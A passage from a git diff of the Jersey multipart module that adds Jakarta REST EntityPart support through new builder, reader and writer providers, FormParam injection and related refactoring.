inputStream = new ByteArrayInputStream((byte[]) entity); + } + if (inputStream == null) { throw new IllegalStateException(LocalizationMessages.ENTITY_HAS_WRONG_TYPE()); } - if (clazz == BodyPartEntity.class) { - return clazz.cast(entity); + if (type == BodyPartEntity.class) { + return type.cast(entity); } final Annotation[] annotations = new Annotation[0]; - final MessageBodyReader<T> reader = messageBodyWorkers.getMessageBodyReader(clazz, clazz, annotations, mediaType); + final MessageBodyReader<T> reader = messageBodyWorkers.getMessageBodyReader(type, genericType, annotations, mediaType); if (reader == null) { - throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBR(clazz, mediaType)); + throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBR(type, mediaType)); } try { - return reader.readFrom(clazz, clazz, annotations, mediaType, headers, ((BodyPartEntity) entity).getInputStream()); + return reader.readFrom(type, genericType, annotations, mediaType, headers, inputStream); } catch (final IOException ioe) { throw new ProcessingException(LocalizationMessages.ERROR_READING_ENTITY(String.class), ioe); }
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java index 6d77453..f6c7165 100644 --- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java
@@ -202,7 +202,9 @@ protected void addDateParameter(final StringBuilder sb, final String name, final Date p) { if (p != null) { - sb.append("; ").append(name).append("=\"").append(HttpDateFormat.getPreferredDateFormat().format(p)).append("\""); + sb.append("; ").append(name).append("=\"") + .append(HttpDateFormat.getPreferredDateFormatter().format(p)) + .append("\""); } } @@ -302,7 +304,7 @@ if (value == null) { return null; } - return HttpDateFormat.getPreferredDateFormat().parse(value); + return HttpDateFormat.getPreferredDateFormatter().toDate(value); } private long createLong(final String name) throws ParseException {
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java index 2380c44..802cc02 100644 --- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,9 +16,14 @@ package org.glassfish.jersey.media.multipart; +import java.io.InputStream; import java.text.ParseException; +import java.util.Optional; +import java.util.concurrent.atomic.AtomicBoolean; import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.GenericType; import jakarta.ws.rs.core.MediaType; import org.glassfish.jersey.media.multipart.internal.LocalizationMessages; @@ -59,9 +64,10 @@ * @author Paul Sandoz * @author Michal Gajdos */ -public class FormDataBodyPart extends BodyPart { +public class FormDataBodyPart extends BodyPart implements EntityPart { private final boolean fileNameFix; + protected final AtomicBoolean contentRead = new AtomicBoolean(false); /** * Instantiates an unnamed new {@link FormDataBodyPart} with a @@ -231,6 +237,34 @@ return formDataContentDisposition.getName(); } + @Override + public Optional<String> getFileName() { + return Optional.ofNullable(getFormDataContentDisposition().getFileName()); + } + + @Override + public InputStream getContent() { + return getContent(InputStream.class); + } + + @Override + public <T> T getContent(Class<T> type) { + if (contentRead.compareAndExchange(false, true)) { + throw new IllegalStateException(LocalizationMessages.CONTENT_HAS_BEEN_ALREADY_READ()); + } + final Object entity = getEntity(); + return type.isInstance(entity) ? type.cast(entity) : getEntityAs(type); + } + + @Override + public <T> T getContent(GenericType<T> type) { + if (contentRead.compareAndExchange(false, true)) { + throw new IllegalStateException(LocalizationMessages.CONTENT_HAS_BEEN_ALREADY_READ()); + } + final Object entity = getEntity(); + return type.getRawType().isInstance(entity) ? (T) entity : getEntityAs(type); + } + /** * Sets the control name. *
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/JerseyEntityPartBuilderProvider.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/JerseyEntityPartBuilderProvider.java new file mode 100644 index 0000000..307eb97 --- /dev/null +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/JerseyEntityPartBuilderProvider.java
@@ -0,0 +1,208 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.multipart; + +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.GenericEntity; +import jakarta.ws.rs.core.GenericType; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedHashMap; +import jakarta.ws.rs.core.MultivaluedMap; +import org.glassfish.jersey.innate.spi.EntityPartBuilderProvider; +import org.glassfish.jersey.media.multipart.file.FileDataBodyPart; +import org.glassfish.jersey.media.multipart.file.StreamDataBodyPart; +import org.glassfish.jersey.media.multipart.internal.LocalizationMessages; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.util.List; +import java.util.Map; + +/** + * Jersey implementation of {@link EntityPart.Builder}. + * @since 3.1.0 + */ +public class JerseyEntityPartBuilderProvider implements EntityPartBuilderProvider { + + @Override + public EntityPart.Builder withName(String partName) { + return new EnityPartBuilder().withName(partName); + } + + private static class EnityPartBuilder implements EntityPart.Builder { + + private String partName; + private String fileName = null; + private MultivaluedMap<String, String> headers = new MultivaluedHashMap<>(); + private MediaType mediaType = null; + private MethodData methodData; + + private EntityPart.Builder withName(String partName) { + this.partName = partName; + return this; + } + + @Override + public EntityPart.Builder mediaType(MediaType mediaType) throws IllegalArgumentException { + this.mediaType = mediaType; + return this; + } + + @Override + public EntityPart.Builder mediaType(String mediaTypeString) throws IllegalArgumentException { + this.mediaType = MediaType.valueOf(mediaTypeString); + return this; + } + + @Override + public EntityPart.Builder header(String headerName, String... headerValues) throws IllegalArgumentException { + this.headers.addAll(headerName, headerValues); + return this; + } + + @Override + public EntityPart.Builder headers(MultivaluedMap<String, String> newHeaders) throws IllegalArgumentException { + for (Map.Entry<String, List<String>> entry : newHeaders.entrySet()) { + header(entry.getKey(), entry.getValue().toArray(new String[0])); + } + return this; + } + + @Override + public EntityPart.Builder fileName(String fileName) throws IllegalArgumentException { + this.fileName = fileName; + return this; + } + + @Override + public EntityPart.Builder content(InputStream content) throws IllegalArgumentException { + methodData = new InputStreamMethodData(content); + return this; + } + + @Override + public <T> EntityPart.Builder content(T content, Class<? extends T> type) throws IllegalArgumentException { + if (File.class.equals(type)) { + methodData = new FileMethodData((File) content); + } else if (InputStream.class.equals(type)) { + methodData = new InputStreamMethodData((InputStream) content); + } else { + methodData = new GenericData(content, null); + } + return this; + } + + @Override + public <T> EntityPart.Builder content(T content, GenericType<T> type) throws IllegalArgumentException { + if (File.class.equals(type.getRawType())) { + methodData = new FileMethodData((File) content); + } else if (InputStream.class.equals(type.getRawType())) { + methodData = new InputStreamMethodData((InputStream) content); + } else { + methodData = new GenericData(content, type); + } + return this; + } + + @Override + public EntityPart build() throws IllegalStateException, IOException, WebApplicationException { + if (methodData == null) { + throw new IllegalStateException(LocalizationMessages.ENTITY_CONTENT_NOT_SET()); + } + final FormDataBodyPart bodyPart = methodData.build(); + return bodyPart; + } + + + private abstract class MethodData<T> { + protected MethodData(T content) { + this.content = content; + } + protected final T content; + protected abstract FormDataBodyPart build(); + protected void fillFormData(FormDataBodyPart bodyPart) { + FormDataContentDisposition contentDisposition = + FormDataContentDisposition.name(partName).fileName(fileName).build(); + bodyPart.setContentDisposition(contentDisposition); + if (mediaType != null) { + bodyPart.setMediaType(mediaType); + } + for (Map.Entry<String, List<String>> entry : headers.entrySet()) { + bodyPart.getHeaders().addAll(entry.getKey(), entry.getValue().toArray(new String[0])); + } + } + } + + private class InputStreamMethodData extends MethodData<InputStream> { + protected InputStreamMethodData(InputStream content) { + super(content); + } + + @Override + protected FormDataBodyPart build() { + final StreamDataBodyPart streamDataBodyPart = new StreamDataBodyPart(); + streamDataBodyPart.setFilename(fileName); + fillFormData(streamDataBodyPart); + streamDataBodyPart.setStreamEntity(content, mediaType); + return streamDataBodyPart; + } + } + + private class FileMethodData extends MethodData<File> { + protected FileMethodData(File content) { + super(content); + } + + @Override + protected FormDataBodyPart build() { + final FileDataBodyPart fileDataBodyPart = new FileDataBodyPart(); + fillFormData(fileDataBodyPart); + if (mediaType != null) { + fileDataBodyPart.setFileEntity(content, mediaType); + } else { + fileDataBodyPart.setFileEntity(content); + } + return fileDataBodyPart; + } + } + + private class GenericData extends MethodData<Object> { + private final GenericType<?> genericEntity; + + protected GenericData(Object content, GenericType<?> genericEntity) { + super(content); + this.genericEntity = genericEntity; + } + + @Override + protected FormDataBodyPart build() { + final FormDataBodyPart formDataBodyPart = new FormDataBodyPart(); + fillFormData(formDataBodyPart); + if (genericEntity != null && !GenericEntity.class.isInstance(content)) { + GenericEntity entity = new GenericEntity(content, genericEntity.getType()); + formDataBodyPart.setEntity(entity); + } else { + formDataBodyPart.setEntity(content); + } + + return formDataBodyPart; + } + } + } +}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java index 3224ec5..c49be99 100644 --- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,10 +20,14 @@ import jakarta.ws.rs.core.Feature; import jakarta.ws.rs.core.FeatureContext; +import org.glassfish.jersey.media.multipart.internal.EntityPartReader; +import org.glassfish.jersey.media.multipart.internal.EntityPartWriter; import org.glassfish.jersey.media.multipart.internal.FormDataParamInjectionFeature; import org.glassfish.jersey.media.multipart.internal.MultiPartReaderClientSide; import org.glassfish.jersey.media.multipart.internal.MultiPartReaderServerSide; import org.glassfish.jersey.media.multipart.internal.MultiPartWriter; +import org.glassfish.jersey.media.multipart.internal.SingleEntityPartReader; +import org.glassfish.jersey.media.multipart.internal.SingleEntityPartWriter; /** * Feature used to register Multipart providers. @@ -45,6 +49,11 @@ context.register(MultiPartWriter.class); + context.register(EntityPartReader.class); + context.register(EntityPartWriter.class); + context.register(SingleEntityPartReader.class); + context.register(SingleEntityPartWriter.class); + return true; } }
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeatureAutodiscoverable.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeatureAutodiscoverable.java new file mode 100644 index 0000000..f9cfb9d --- /dev/null +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeatureAutodiscoverable.java
@@ -0,0 +1,31 @@ +/* + * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.multipart; + +import jakarta.ws.rs.core.FeatureContext; +import org.glassfish.jersey.internal.spi.AutoDiscoverable; + +/** + * Automatic registration of {@link MultiPartFeature}. + * @since 3.1.0 + */ +public class MultiPartFeatureAutodiscoverable implements AutoDiscoverable { + @Override + public void configure(FeatureContext context) { + context.register(MultiPartFeature.class); + } +}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java index f91c723..1493e8f 100644 --- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -38,6 +38,7 @@ * Currently supported file extension and MIME Types are - * <ul> * <li>".xml" - application/xml</li> + * <li>".json - application/json</li> * <li>".txt" - text/plain</li> * <li>".pdf" - application/pdf</li> * <li>".htm" - text/html</li> @@ -59,6 +60,7 @@ public enum CommonMediaTypes { XML(".xml", MediaType.APPLICATION_XML_TYPE), + JSON(".json", MediaType.APPLICATION_JSON_TYPE), TXT(".txt", MediaType.TEXT_PLAIN_TYPE), HTM(".htm", MediaType.TEXT_HTML_TYPE), HTML(".html", MediaType.TEXT_HTML_TYPE),
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java index 3ddedf2..707bedf 100644 --- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,6 +18,7 @@ import java.io.InputStream; import java.text.MessageFormat; +import java.util.Optional; import jakarta.ws.rs.core.MediaType; @@ -275,4 +276,8 @@ return filename; } + @Override + public Optional<String> getFileName() { + return Optional.ofNullable(getFilename()); + } }
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartReader.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartReader.java new file mode 100644 index 0000000..fb83486 --- /dev/null +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartReader.java
@@ -0,0 +1,95 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.multipart.internal; + +import jakarta.inject.Inject; +import jakarta.inject.Singleton; +import jakarta.ws.rs.Consumes; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedMap; +import jakarta.ws.rs.ext.MessageBodyReader; +import jakarta.ws.rs.ext.Providers; +import org.glassfish.jersey.internal.util.ReflectionHelper; +import org.glassfish.jersey.media.multipart.BodyPart; +import org.glassfish.jersey.media.multipart.FormDataBodyPart; +import org.glassfish.jersey.media.multipart.JerseyEntityPartBuilderProvider; +import org.glassfish.jersey.media.multipart.MultiPart; + +import java.io.IOException; +import java.io.InputStream; +import java.lang.annotation.Annotation; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.LinkedList; +import java.util.List; + +/** + * Reader supporting List<EntityPart> Make sure {@code GenericEntity} class is used when reading the + * {@link EntityPart}s. + * @since 3.1.0 + */ +@Consumes(MediaType.MULTIPART_FORM_DATA) +@Singleton +public class EntityPartReader implements MessageBodyReader<List<EntityPart>> { + + private MultiPartReaderClientSide multiPartReaderClientSide; + + private final Providers providers; + + @Inject + public EntityPartReader(@Context Providers providers) { + this.providers = providers; + } + + @Override + public boolean isReadable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) { + return List.class.isAssignableFrom(type) + && ParameterizedType.class.isInstance(generic) + && EntityPart.class.isAssignableFrom(ReflectionHelper.getGenericTypeArgumentClasses(generic).get(0)); + } + + @Override + public List<EntityPart> readFrom(Class<List<EntityPart>> type, Type genericType, Annotation[] annotations, + MediaType mediaType, MultivaluedMap<String, String> httpHeaders, + InputStream entityStream) throws IOException, WebApplicationException { + + if (multiPartReaderClientSide == null) { + multiPartReaderClientSide = (MultiPartReaderClientSide) providers.getMessageBodyReader( + MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE); + } + + final MultiPart multiPart = multiPartReaderClientSide.readFrom( + MultiPart.class, MultiPart.class, annotations, mediaType, httpHeaders, entityStream); + final List<BodyPart> bodyParts = multiPart.getBodyParts(); + final List<EntityPart> entityParts = new LinkedList<>(); + + for (BodyPart bp : bodyParts) { + if (FormDataBodyPart.class.isInstance(bp)) { + entityParts.add((EntityPart) bp); + } else { + final EntityPart ep = new JerseyEntityPartBuilderProvider().withName("") + .mediaType(bp.getMediaType()).content(bp.getEntity()).headers(bp.getHeaders()).build(); + entityParts.add(ep); + } + } + + return entityParts; + } +}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartWriter.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartWriter.java new file mode 100644 index 0000000..3b9a301 --- /dev/null +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartWriter.java
@@ -0,0 +1,83 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.multipart.internal; + +import jakarta.inject.Inject; +import jakarta.inject.Singleton; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedMap; +import jakarta.ws.rs.ext.MessageBodyWriter; +import jakarta.ws.rs.ext.Providers; +import org.glassfish.jersey.internal.util.ReflectionHelper; +import org.glassfish.jersey.media.multipart.BodyPart; +import org.glassfish.jersey.media.multipart.MultiPart; + +import java.io.IOException; +import java.io.OutputStream; +import java.lang.annotation.Annotation; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.List; + +/** + * Writer supporting List<EntityPart> Make sure {@code GenericEntity} class is used when sending the + * {@link EntityPart}s. + * @since 3.1.0 + */ +@Produces(MediaType.MULTIPART_FORM_DATA) +@Singleton +public class EntityPartWriter implements MessageBodyWriter<List<EntityPart>> { + + private MultiPartWriter multiPartWriter; + + private final Providers providers; + + @Inject + public EntityPartWriter(@Context Providers providers) { + this.providers = providers; + } + + @Override + public boolean isWriteable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) { + return List.class.isAssignableFrom(type) + && ParameterizedType.class.isInstance(generic) + && EntityPart.class.isAssignableFrom(ReflectionHelper.getGenericTypeArgumentClasses(generic).get(0)); + } + + @Override + public void writeTo(List<EntityPart> entityParts, Class<?> type, Type genericType, Annotation[] annotations, + MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream) + throws IOException, WebApplicationException { + final MultiPart multiPart = new MultiPart(); + multiPart.setMediaType(mediaType); + for (EntityPart ep : entityParts) { + multiPart.bodyPart((BodyPart) ep); + } + + if (multiPartWriter == null) { + multiPartWriter = (MultiPartWriter) providers.getMessageBodyWriter( + MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE); + } + + multiPartWriter.writeTo(multiPart, MultiPart.class, MultiPart.class, + annotations, multiPart.getMediaType(), httpHeaders, entityStream); + } +}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java index 2da4623..3943065 100644 --- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,6 +33,8 @@ import java.util.stream.Collectors; import jakarta.ws.rs.BadRequestException; +import jakarta.ws.rs.FormParam; +import jakarta.ws.rs.core.EntityPart; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.ext.MessageBodyReader; @@ -61,7 +63,7 @@ /** * Value supplier provider supporting the {@link FormDataParam} injection annotation and entity ({@link FormDataMultiPart}) - * injection. + * injection. Also supports {@link FormParam} {@code EntityPart} annotation injection. * * @author Craig McClanahan * @author Paul Sandoz @@ -319,6 +321,43 @@ } } + /** + * Provider supplier for list of {@link EntityPart} types injected via + * {@link jakarta.ws.rs.FormParam} annotation. + */ + private final class ListEntityPartValueProvider extends ValueProvider<List<EntityPart>> { + + private final String name; + + public ListEntityPartValueProvider(final String name) { + this.name = name; + } + + @Override + public List<EntityPart> apply(ContainerRequest request) { + return (List<EntityPart>) (List<?>) getEntity(request).getFields(name); + } + } + + /** + * Provider supplier for list of {@link EntityPart} types injected via + * {@link jakarta.ws.rs.FormParam} annotation. + */ + private final class EntityPartValueProvider extends ValueProvider<EntityPart> { + + private final String name; + + public EntityPartValueProvider(final String name) { + this.name = name; + } + + @Override + public EntityPart apply(ContainerRequest request) { + List<FormDataBodyPart> bodyParts = getEntity(request).getFields(name); + return bodyParts != null && bodyParts.size() != 0 ? bodyParts.get(0) : null; + } + } + private static final Set<Class<?>> TYPES = initializeTypes(); private static Set<Class<?>> initializeTypes() { @@ -352,7 +391,7 @@ * @param extractorProvider multi-valued map parameter extractor provider. */ public FormDataParamValueParamProvider(Provider<MultivaluedParameterExtractorProvider> extractorProvider) { - super(extractorProvider, Parameter.Source.ENTITY, Parameter.Source.UNKNOWN); + super(extractorProvider, Parameter.Source.ENTITY, Parameter.Source.FORM, Parameter.Source.UNKNOWN); } @Override @@ -396,6 +435,16 @@ } else { return new FormDataParamValueProvider(parameter, get(parameter)); } + } else if (FormParam.class.equals(sourceAnnotation.annotationType())) { + final String paramName = ((FormParam) sourceAnnotation).value(); + if (Collection.class == rawType || List.class == rawType) { + final Class clazz = ReflectionHelper.getGenericTypeArgumentClasses(parameter.getType()).get(0); + if (EntityPart.class.equals(clazz)) { + return new ListEntityPartValueProvider(paramName); + } + } else if (EntityPart.class.equals(rawType)) { + return new EntityPartValueProvider(paramName); + } } } }
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java index 7873872..db5fbc7 100644 --- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java
@@ -31,6 +31,7 @@ import jakarta.ws.rs.Produces; import jakarta.ws.rs.WebApplicationException; import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.GenericEntity; import jakarta.ws.rs.core.HttpHeaders; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.MultivaluedMap; @@ -197,14 +198,21 @@ bodyEntity = ((BodyPartEntity) bodyEntity).getInputStream(); } + Type bodyType = bodyClass; + if (GenericEntity.class.isInstance(bodyEntity)) { + bodyClass = ((GenericEntity<?>) bodyEntity).getRawType(); + bodyType = ((GenericEntity) bodyEntity).getType(); + bodyEntity = ((GenericEntity<?>) bodyEntity).getEntity(); + } + final MessageBodyWriter bodyWriter = providers.getMessageBodyWriter( bodyClass, - bodyClass, + bodyType, EMPTY_ANNOTATIONS, bodyMediaType); if (bodyWriter == null) { - throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBW(bodyClass, mediaType)); + throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBW(bodyClass, bodyMediaType)); } bodyWriter.writeTo(
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartReader.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartReader.java new file mode 100644 index 0000000..9b7589e --- /dev/null +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartReader.java
@@ -0,0 +1,83 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.multipart.internal; + +import jakarta.inject.Inject; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedMap; +import jakarta.ws.rs.ext.MessageBodyReader; +import jakarta.ws.rs.ext.Providers; +import org.glassfish.jersey.media.multipart.BodyPart; +import org.glassfish.jersey.media.multipart.FormDataBodyPart; +import org.glassfish.jersey.media.multipart.JerseyEntityPartBuilderProvider; +import org.glassfish.jersey.media.multipart.MultiPart; + +import java.io.IOException; +import java.io.InputStream; +import java.lang.annotation.Annotation; +import java.lang.reflect.Type; +import java.util.LinkedList; +import java.util.List; + +public class SingleEntityPartReader implements MessageBodyReader<EntityPart> { + + private MultiPartReaderClientSide multiPartReaderClientSide; + + private final Providers providers; + + @Inject + public SingleEntityPartReader(@Context Providers providers) { + this.providers = providers; + } + + @Override + public boolean isReadable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) { + return EntityPart.class.isAssignableFrom(type); + } + + @Override + public EntityPart readFrom(Class<EntityPart> type, Type genericType, Annotation[] annotations, + MediaType mediaType, MultivaluedMap<String, String> httpHeaders, + InputStream entityStream) throws IOException, WebApplicationException { + + if (multiPartReaderClientSide == null) { + multiPartReaderClientSide = (MultiPartReaderClientSide) providers.getMessageBodyReader( + MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE); + } + + final MultiPart multiPart = multiPartReaderClientSide.readFrom( + MultiPart.class, MultiPart.class, annotations, mediaType, httpHeaders, entityStream); + final List<BodyPart> bodyParts = multiPart.getBodyParts(); + final List<EntityPart> entityParts = new LinkedList<>(); + + for (BodyPart bp : bodyParts) { + if (FormDataBodyPart.class.isInstance(bp)) { + entityParts.add((EntityPart) bp); + } else { + final EntityPart ep = new JerseyEntityPartBuilderProvider().withName("") + .mediaType(bp.getMediaType()).content(bp.getEntity()).headers(bp.getHeaders()).build(); + entityParts.add(ep); + } + // consume all bodyParts + } + + return entityParts.get(0); + } +}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartWriter.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartWriter.java new file mode 100644 index 0000000..9150dc6 --- /dev/null +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartWriter.java
